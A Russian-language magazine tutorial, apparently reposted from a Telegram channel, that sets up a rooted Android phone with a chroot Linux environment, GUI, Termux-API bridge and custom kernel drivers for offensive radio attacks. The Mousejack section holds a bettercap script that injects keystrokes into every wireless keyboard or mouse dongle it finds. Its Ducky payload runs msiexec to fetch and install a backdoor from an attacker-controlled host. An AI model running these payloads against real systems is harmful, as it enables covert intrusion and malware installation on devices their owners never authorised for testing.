Хакер - Киберфон. Превращаем телефон на Android в инструмент хакера. Часть 1
https://t.me/xakep_1С точки зрения хакера, мобильный телефон — удобнейшее средство для компьютерных атак, особенно атак околофизического доступа, которые выполняются по радиоканалу. В этой статье мы поговорим о том, как превратить обычный мобильник на Android в могучее оружие хакера.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Сейчас у каждого есть телефон, зачастую даже не один. Так что злоумышленник с мобильником выглядит куда менее подозрительно, чем с ноутбуком. Более того, телефон часто разрешают проносить туда, где ноутбуки запрещены. Телефоны редко рассматриваются как источник угрозы.
У телефона настолько большой потенциал, что с его помощью можно реализовать практически любые физические атаки. Несмотря на то что он работает на мобильном процессоре (ARM), на нем можно запустить почти любой десктопный софт. Все благодаря тому, что Linux — это open source. Все многообразие ПО под него уже давно кросс‑скомпилировано и портировано под множество других архитектур, включая и ARM, да еще и в форме удобных пакетов.
Теперь предлагаю взглянуть на телефон глазами хакера. Сколько атак можно провести с его помощью? Все атаки, что продемонстрированы на Pineapple, можно реализовать и с телефона. Более того, перечень таких атак куда шире. Можно выделить ключевое отличие телефона от Pineapple или любого одноплатника — наличие устройств ввода‑вывода информации. Поскольку у телефона есть экран и клавиатура, атакующий может проводить интерактивные атаки. То есть он в состоянии совмещать автоматизацию типовых действий и ручной ввод дополнительных команд, благодаря чему атаки становятся более таргетированными. Интерактивность — главное преимущество телефона перед автономными устройствами типа Pineapple.
Конечно, это не значит, что ноутбук не годится для физических и околофизических атак. Но вблизи объектов, где много наблюдателей, охраны и везде натыканы камеры, злоумышленник с легкостью может заменить ноутбук телефоном.
Для проведения большинства атак с телефона атакующему, как правило, требуются внешние адаптеры и драйверы для них. Однако некоторые атаки можно провести и без дополнительных устройств, что снижает сложность затеи. B итоге хакерский телефон вполне можно использовать для следующих атак:
- Wi-Fi (Deauth, Auth, Online brute, WPS, Evil Twin, EAP, Karma);
- Bluetooth;
- Whid (Mousejack);
- SDR (replay, GPS, DMR, TV);
- Ethernet (атаки и сниффинг);
- BadUSB (HID, ETH, HDD);
- RFID/NFC;
- IrDA;
- QR.
Давай детально рассмотрим, чем может быть опасен потенциальный злоумышленник с телефоном.
НАСТРОЙКА GNU-ОКРУЖЕНИЯ
Так уж исторически сложилось, что большая часть хакерского софта обитает в мире Unix. Конечно, под Android тоже существуют аналоги, но крайне неразумно переписывать весь софт под очередную платформу. Куда проще и правильнее организовать слой совместимости и портировать все это для нужной среды. И благодаря тому, что под капотом Android прячется ядро Linux, это действительно просто.
Далее продемонстрирован открытый подход, позволяющий сделать хакерским практически любой Android-телефон. Вопреки общему мнению, чтобы телефон стал хакерским, необязательно использовать специализированную ОС вроде Kali NetHunter. Эти слегка кастомизированные версии Android идут с ядром под соответствующее железо, а значит, перечень поддерживаемых устройств сильно ограничен. Но что делать, если такого мобильника нет в наличии? Ты можешь реализовать все нужное самостоятельно: в этом случае потребуется любой Android-телефон, который должен соответствовать только нескольким простым критериям.
Во‑первых (это самое главное), телефон должен иметь root-права. Без них большая часть атак не работает. Чтобы получить права root, загрузчик телефона должен поддерживать разблокировку. Тогда с его помощью можно перезаписать recovery (небольшая ОС для восстановления данных). А уже затем можно полноценно изменять файлы основной ОС Android.
Во‑вторых, крайне желательно, чтобы телефон имел ядро с поддержкой modprobe для загрузки дополнительных драйверов и поддержки внешних устройств. Часто modprobe может быть доступен даже на стоковом ядре. Но лучше убедиться, что для твоей модели мобильника существуют кастомные ядра, устанавливают которые тоже через recovery.
На самом деле хакеру вовсе не нужно собирать какое‑то особенное ядро, заранее добавляя в него все необходимое и каждый раз часами пересобирая его. Напротив, благодаря модульности ядра Linux можно дособрать любой драйвер для любой железки прямо на текущем ядре, да еще и не на точной версии исходных кодов. И это куда проще и безопаснее, ведь так не теряется набор функций стокового ядра и, скажем, не отваливается камера.
Также обязательно необходим какой‑нибудь терминал, например популярный Termux. Termux весьма удобен, так как имеет встроенный менеджер пакетов. Впрочем, можно легко обойтись и без него. Поскольку хакеру нужно работать с терминалом, удобнее использовать настоящую полноразмерную клавиатуру, например org.pocketworkstation.pckeyboard (Hackers Keyboard).
Наконец, вся хакерская начинка может быть представлена в файле‑образе Linux-дистрибутива, который можно использовать в режиме обычного chroot.
Сначала немного информации о создании chroot-окружения — начальной файловой системы Linux-образа. Фактически это база для хакерского программного инструментария на телефоне. Для этого на Linux-десктопе нужно подготовить файл (будущий образ), на нем создать файловую систему и смонтировать ее:
truncate -s 10G linux.img
mkfs.ext4 linux.img
mount -o loop linux.img /mnt/iso
Теперь перед хакером чистый лист, который необходимо наполнить системными файлами, то есть установить настоящий Linux. Сделать это можно одной командой, например debootstrap
:
sudo debootstrap --arch arm64 --foreign --variant=minbase \
stable /mnt/iso/ http://http.us.debian.org/debian
Программа debootstrap
просто скачивает минимально необходимый набор deb-пакетов (под ARM) и распаковывает исполняемые файлы, библиотеки и конфиги внутри образа, формируя полностью работоспособное Linux-окружение. В этом случае в качестве базы используется Debian, так как он имеет крайне богатую коллекцию пакетов в своих репозиториях. В качестве альтернативы можно использовать, например, Arch Linux с его хакерским репозиторием BlackArch, содержащим практически весь необходимый атакующий софт. ОС Arch Linux ставится похожим образом и разворачивается from scratch в указанном каталоге.
Затем образ linux.img
копируется на телефон, и все дальнейшие действия выполняются уже на нем.
Любую современную ОС можно представить как совокупность как совокупность user mode и kernel mode, то есть пользовательские компоненты и ядро с драйверами. Образ linux.img
содержит только компоненты пользовательского режима, но в Linux есть очень четкая граница, позволяющая подключить сколько угодно user space к ядру. Благодаря концепции Unix «все есть файл» и специальным файловым системам, добавление юзерспейсов достигается монтированием нескольких системных каталогов:
# Подключение Linux-диска
mount -o loop linux.img /data/linux
# Подключение системных каталогов к Linux-образу
mount -t proc none /data/linux/proc
mount -t sysfs none /data/linux/sys
mount -o bind /dev /data/linux/dev
mount -t devpts none /data/linux/dev/pts
# Вход в Linux-контейнер
chroot /data/linux /bin/bash
Последняя команда chroot
упрощенно укорачивает пути, отбрасывая /data/linux
при каждом обращении к файловой системе. Таким образом, все библиотеки и системные компоненты загружаются исключительно из текущего каталога, словно с корневого раздела. Это обеспечивает также изоляцию файловой системы от ФС Android. Но в то же самое время образ взаимодействует с ядром через системные вызовы и псевдофайловые системы, получая доступ к части железа.
Чтобы удобнее передавать файлы между chroot-контейнером и Android-приложениями, можно подмонтировать пользовательскую папку sdcard
:
mount -o loop /sdcard/ /data/linux/sdcard/
Это может быть удобно, когда необходимо, например, посмотреть HTML-отчет от какой‑нибудь хакерской тулзы привычным браузером телефона. С этого момента начинается полноценный GNU/Linux в обычном мобильнике на Android. И дальше все происходящее напоминает больше классическое администрирование Linux-десктопа или сервера.
Использование Linux в форме образа и проще, и правильнее. Так сохраняется в «чистоте» файловая система Android, упрощается резервное копирование, ведь физически это один файл, и такая система становится портативной. Можно просто скопировать такой заранее настроенный образ на новый девайс без необходимости все настраивать с нуля после каждой замены телефона.
Графический интерфейс
Несмотря на то что большинство хакерских инструментов консольные, может потребоваться запуск и графических инструментов. Android лишен привычного X-сервера, отрисовывающего графику. Но используя VNC Server, можно легко устранить этот недочет:
gui.sh
#!/bin/bash
cat <<E > ~/.vnc/config
securitytypes=none
geometry=1083x500
localhost
E
vncserver :0
VNC Server — это тот же самый графический X-сервер, только с удобным интерфейсом под VNC-клиент, которых, благодаря открытости протокола, предостаточно даже в виде мобильных приложений. Чтобы рабочий стол содержал привычные элементы, нужно установить соответствующую среду, например для легковесности можно использовать LXDE:
apt install lxde
Теперь, используя любой мобильный VNC-клиент (например, com.iiordanov.freebVNC), можно получить Linux GUI прямо на телефоне.
При наличии привычного рабочего стола телефон отличается от ноутбука только отсутствием клавиатуры. VNC Server имеет еще одну удобную и очевидную особенность — к нему можно удаленно подключаться с других устройств. Это дает возможность дистанционно управлять телефоном в оконном режиме.
Звук в chroot-окружении
В некоторых случаях Linux-программам на телефоне может требоваться полноценный вывод звука. Добиться этого тоже достаточно просто:
apt install pulseaudio
pulseaudio --start
pactl load-module module-simple-protocol-tcp rate=48000 format=s16le channels=2 source=auto_null.monitor record=true port=8000 listen=127.0.0.1
Теперь весь звук из chroot-окружения выводится на локальный порт 8000/tcp. В окружении Android нужно запустить приложение Simple Procotol Player (com.kaytat.simpleprotocolplayer), которое воспроизводит получаемый звук.
GNU-Android bridge
Так как работа ведется все же на Android, пусть и из chroot-окружения, может потребоваться доступ к его функциям и датчикам. К сожалению, на Android нельзя получить доступ к некоторому оборудованию через привычные символьные устройства или системные вызовы, так как эта ОС использует сильно модифицированное ядро Linux. Самый простой способ — использовать Termux-API. Он состоит из двух компонентов. Первый компонент — Android-приложение com.termux.api, которое с помощью Java-библиотек получает штатный доступ к камере, диктофону, датчикам и прочим компонентам телефона. Второй компонент — пакет Termux-API, который содержит уже консольные программы, принимающие данные от первого компонента.
Для установки консольных компонентов в Termux нужно выполнить следующую команду:
pkg install termux-api
Благодаря Termux-API можно получить доступ к начинке телефона из GNU-окружения — привычной командной строки. Это позволяет запрограммировать что угодно крайне простым образом через командную оболочку Bash.
Приложения Termux-API доступны только из окружения консоли Termux, но пока не chroot-образа. Доступ к консоли Termux из консоли chroot-окружения проще всего получить по SSH. Для этого в консоли Termux нужно настроить SSH-сервер:
ssh-keygen
cat .ssh/id_rsa.pub > .ssh/authorized_keys
sshd
Приватный ключ id_rsa
копируется уже в файловую систему chroot-образа. В chroot-окружении для взаимодействия с Termux-API (например, для доступа к датчикам Android) Termux-команды вызываются уже через SSH. Например, отправить Notification в Android из консоли можно простым скриптом:
android/msg_notification.sh
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-notification -t '$title' -c '$text'"
Уведомления удобно использовать для различных атакующих скриптов. К тому же уведомления позволяют задействовать и умные часы или, например, прочитать вывод команды вслух, используя речевой синтезатор телефона:
android/speak.sh
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-tts-speak $text"
Что касается датчиков, чтобы получить информацию с акселерометра, можно использовать такой скрипт:
android/sensors/accelerometer.sh
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-sensor -s 'icm4x6xx Accelerometer' -n 1" | sed -n 4,6p
Информация с такого датчика позволит использовать пространственное положение телефона в качестве триггера для какого‑либо действия. Вообще, у Termux-API достаточно много датчиков и возможностей.
Интерфейс под палец
Управлять всем через терминал, конечно, хорошо и удобно для автоматизации, но требует от атакующего набирать кучу команд. Современные телефоны лишены удобной физической клавиатуры, а сенсорные виртуальные клавиатуры мало пригодны для комфортной работы в командной строке. Однако интерфейс атакующих скриптов можно упростить.
Termux переводит нажатия на сенсорный экран телефона в события мыши. Некоторые консольные файловые менеджеры, например Midnight Commander, поддерживают работу с файлами, в частности запуск скриптов, обрабатывая такие события. Поэтому этот файловый менеджер может стать простым графическим интерфейсом для управления хакерскими скриптами:
apt install mc
Все атакующие скрипты можно организовать в виде структуры файлов и папок, логически сгруппированных по типу атак. Благодаря этому навигация нажатиями пальца становится почти такой же удобной, как в обычном мобильном приложении.
Удобно, что Termux поддерживает быстрое изменение масштаба консоли с помощью мультитач‑жеста. Чтобы скрипты могли работать в интерактивном режиме, можно придать им единый стиль интерфейса, позволяющий принять параметры как через опции командной строки, так и через интерактивный запрос того или иного параметра:
#!/bin/bash
[[ $# -ge 1 ]] && arg1="$1" || read -p 'arg1: ' arg1
[[ $# -ge 2 ]] && arg2="$2" || arg2='default'
...
Таким образом, любой скрипт можно запустить простым нажатием, а если ему что‑то нужно, то он это запросит в интерактивном режиме. Разнообразные хакерские утилиты пишутся разными людьми, и интерфейсы этих программ тоже разные. Но использование простых Bash-скриптов в качестве оберток позволяет придать им единый стиль, узко заточенный под каждую конкретную атаку.
С помощью таких скриптов весь хакерский набор функций можно настраивать самостоятельно на свой вкус, придавая ему максимальную гибкость. А использование для этого командной оболочки Bash практически не требует серьезного программирования.
Тем не менее интерфейс голой консоли всегда можно обернуть простым веб‑интерфейсом, который вызывает те или иные сценарии и возвращает результат обратно на веб‑страницу. Как известно, веб — это самый простой и переносимый GUI.
Подключение хакерских девайсов к телефону
Вместо того чтобы использовать встроенные Wi-Fi, Bluetooth или etc-карточки, хакеру проще задействовать внешние решения. На рисунке ниже представлены миниатюрные устройства, имеющие скрытый хакерский потенциал (внизу слева направо):
- адаптер с режимом монитора Ralink RT5370 — для атак Wi-Fi;
- адаптер с возможностью смены MAC-адреса CSR 4.0 — для атак Bluetooth;
- адаптер Logitech C-U0007 — для атак Wireless HID (aka Mousejack).
А также самый миниатюрный OTG (в верхней части рисунка), в зависимости от телефона Type-C/MicroUSB. Он настолько мал, что его можно оставлять прямо в любом из представленных адаптеров.
Такие внешние решения имеют явные преимущества. Во‑первых, их можно использовать и на ноутбуке, и на телефоне. Во‑вторых, атакующий не привязан к аппаратной части телефона или ноутбука. Это снова дает автономность, но уже для аппаратной составляющей — при замене телефона не будет утрачен хакерский арсенал.
Стоит отметить, что эти адаптеры имеют аналоги мощнее, но уже в крупном корпусе, более подходящем к работе с ноутбука. Однако ноутбук — это инструмент для атак из надежного укрытия, а телефон можно использовать в полевых условиях. Поэтому потенциальному злоумышленнику куда важнее не привлекать к себе внимание. А меньшая мощность сигнала может быть легко компенсирована возможностью подойти максимально близко к целям атак.
Для использования большинства внешних девайсов атакующему требуется собрать соответствующий драйвер. Чтобы подготовить драйверы под то или иное устройство, вовсе необязательно иметь исходные коды точной версии текущего ядра Linux, на котором работает телефон. Вполне достаточно скачать исходники близкой версии (uname -r
). Чтобы не засорять файловую систему основного образа, лучше использовать для хранения исходных кодов ядра отдельный образ, который может меняться от телефона к телефону. Пару шагов назад уже было продемонстрировано создание образа из файла. И тут подразумевается, что нужно сделать то же самое, только вместо установки Linux в образ следует скачать и распаковать исходники ядра. После чего дополнительный образ монтируется уже привычным способом из Android-окружения в каталог chroot-окружения:
mount -o loop kernel.img /data/linux/usr/src/linux
Как только определен драйвер, который нужно собрать, необходимо запустить компиляцию только одного выбранного модуля (плюс его возможных зависимостей):
make menuconfig
make modules M=path/to/component
make modules_install
Заметь, тут не происходит компиляции всех модулей и уж тем более не перекомпилируется все ядро. В этом случае собирается только один необходимый модуль и его возможные зависимости.
Итак, вот примерный универсальный алгоритм сборки драйвера. На ноутбуке с Linux запускается команда
udevadm monitor
Далее в ноутбук нужно вставить наш девайс, и по реакции системы можно увидеть загрузку нужного драйвера, управляющего устройством.
Программа udevadm в режиме реального времени показывает, как система реагирует на изменение аппаратной части компьютера. И где‑то в ее выводе можно увидеть подгрузку требуемых драйверов.
На рисунке видно, какие драйверы подхватывают внешнюю Wi-Fi-карту.
Далее на телефоне нужно перейти в режим интерактивного конфигурирования дерева исходных кодов ядра:
cd /usr/src/linux
sudo make menuconfig
Для поиска нужного модуля по имени нажать /. Результатом будет Location
(расположение модуля) и Prompt
— собственно имя модуля. Именно имя нужно отыскать, перемещаясь по каталогам интерактивного меню, и переключить в состояние m. Это означает, что в ходе компиляции он будет оформлен в виде отдельного подгружаемого модуля.
Теперь требуется собрать только выбранный драйвер, указав его Location
, и скопировать в специальный системный каталог /lib/modules
:
make modules M=path/to/component
sudo make modules_install SUBDIRS=path/to/component
После чего можно подключать девайс в телефон, предварительно загрузив драйвер:
sudo modprobe somemodule
sudo insmod /lib/modules/`uname -r`/extra/somemodule.ko
Чаще всего этого хватает, но иногда, особенно когда речь идет о сетевых картах, простой загрузки драйвера через modprobe может быть недостаточно. Могут потребоваться дополнительные действия, связанные с постобработкой. Эту задачу автоматически выполняет udev.
Система udev мониторит изменение конфигурации аппаратной части через sysfs и реагирует на это тем или иным образом, включая подгрузку требуемых драйверов и выполняя по необходимости дополнительные действия. Требуется лишь предварительно запустить систему udev перед подключением устройства:
sudo /lib/systemd/systemd-udevd –debug
Примерно таким образом можно подружить телефон практически с любым внешним устройством. Ведь современный телефон — не просто телефон, а настоящий карманный компьютер.
MOUSEJACK
Тему атак с телефона мне хотелось бы начать, пожалуй, с самой опасной беспроводной физической уязвимости — Mousejack. Эта атака просто идеально подходит под эксплуатацию со смартфона. А ее импакт… Если бы я только мог сказать, сколько крупных компаний было пробито подобным образом просто с улицы…
Mousejack — это атака на беспроводные периферийные устройства, а точнее, на их адаптеры. Эта атака во всей ее мощи описана в статье «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок». Эксплуатация сильно похожа на BadUSB-флешки, с той лишь разницей, что атаку совершают на расстоянии.
Реальная успешность напрямую зависит от количества обнаруженных беспроводных мышек и клавиатур, ведь не все они могут быть уязвимы. Поэтому ее нужно проводить максимально подвижно, например с дрона. Но такая атака может быть достаточно шумной, использование же телефона делает ее практически невидимой.
В таком исполнении не потребуется даже собирать никаких специальных драйверов, нужен только root. На стенде, изображенном на рисунке ниже, телефон напечатал слово test на компьютере, используя радиоканал и адаптер беспроводной мышки.
А на следующем рисунке реальный пример, когда телефон с помощью такой атаки передал кое‑что посерьезнее и пробил периметр одного из заводов прямо с улицы, то есть по модели внешнего нарушителя.
Сотрудник по ту сторону окна, думаю, сразу понял, что его вовсе не снимали на телефон, а только что хакнули через Mousejack (в рамках легальных работ по пентесту). На экране телефона видно приглашение командной строки компьютера и вход во внутреннюю сеть завода.
Эта атака — самая опасная из всех физических атак ближнего радиуса, а ее проведение требует минимальных технических усилий.
Атакующий, как правило, заранее не знает, у кого и где обнаружатся уязвимые беспроводные устройства. Более того, даже если бы и знал, то их MAC-адреса точно не написаны на самих устройствах. Так что требуется атаковать все и сразу. Приведенный ниже скрипт прослушивает радиоэфир беспроводных периферийных устройств и на каждый обнаруженный новый девайс автоматически отправляет атакующие нажатия:
whid/attack.sh
#!/bin/bash
[[ $# -ge 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')
[[ $# -ge 2 ]] && target="$2" || target=''
if [ "x" != "x$target" ]; then
sudo bettercap -eval "hid.recon on; hid.inject $target US $ducky;" 2> /dev/null
else
sudo bettercap -eval "hid.recon on; events.on hid.device.new "hid.inject {{address}} US $ducky; sleep 2; hid.inject {{address}} US $ducky; sleep 2; hid.inject {{address}} US $ducky;"" 2> /dev/null
Для надежности на каждое обнаруженное устройство попытка отправить нажатия выполняется трижды. Если в каком‑то месте атакующий обнаружил беспроводную мышь и уверен, что это его объект атаки, то он может запустить этот скрипт, применив атаку только к выбранному устройству.
В качестве полезной нагрузки — нажатий, скачивающих и устанавливающих бэкдор, —используются знакомые нам по BadUSB-HID полезные нагрузки:
whid/ducky.txt
GUI r
DELAY 300
STRING msiexec /i https://en.mousejack.attacker.tk/1.msi /quiet
DELAY 300
ENTER
DELAY 300
GUI SPACE
DELAY 300
GUI r
DELAY 300
STRING msiexec /i https://ru.mousejack.attacker.tk/1.msi /quiet
DELAY 300
ENTER
Для успешной эксплуатации требуется проводить нажатия для каждой языковой раскладки. Введенная команда при попытке скачать исполняемый файл выполняет DNS-запрос, который идет на подконтрольный сервер злоумышленника, что служит для него сигналом успешности RCE.
Контрольно‑пропускной пункт, физический периметр вблизи офисов, посты охраны, ресепшен, квартиры, да что угодно — все это цели данной атаки, но только лишь с земли. С воздуха же, с помощью дрона, такая атака дотянется куда угодно.
Современные реалии таковы, что с помощью такой атаки взломать можно практически любую компанию.
WI-FI
Атаки на Wi-Fi мы рассматриваем уже в третий раз. Впервые — в форм‑факторе Pineapple. Это статичные и длительные по времени атаки, неудобные по расположению, которые реализованы миниатюрной платой, спрятанной неподалеку от объектов атак. Во второй раз — на дроне. Атакующий может уже не дожидаться наступления тех или иных событий, например появления клиентов в области действия, а лететь к ним самостоятельно. И это быстрые и динамичные атаки.
С телефоном — это уже интерактивные атаки. Ведь теперь у атакующего появляется дисплей и клавиатура. И атаковать он может как «в ширину», так и «в глубину». «В ширину» — то есть атаковать все вокруг в течение небольшого промежутка времени, если поблизости множество целей. «В глубину» — то есть проводить более длительные таргетированные статичные атаки, где атакующему, возможно, придется задержаться на какое‑то время.
Для реализации Wi-Fi-атак с телефона в половине случаев нельзя обойтись без внешнего адаптера.
Читайте ещё больше платных статей бесплатно: https://t.me/xakep_1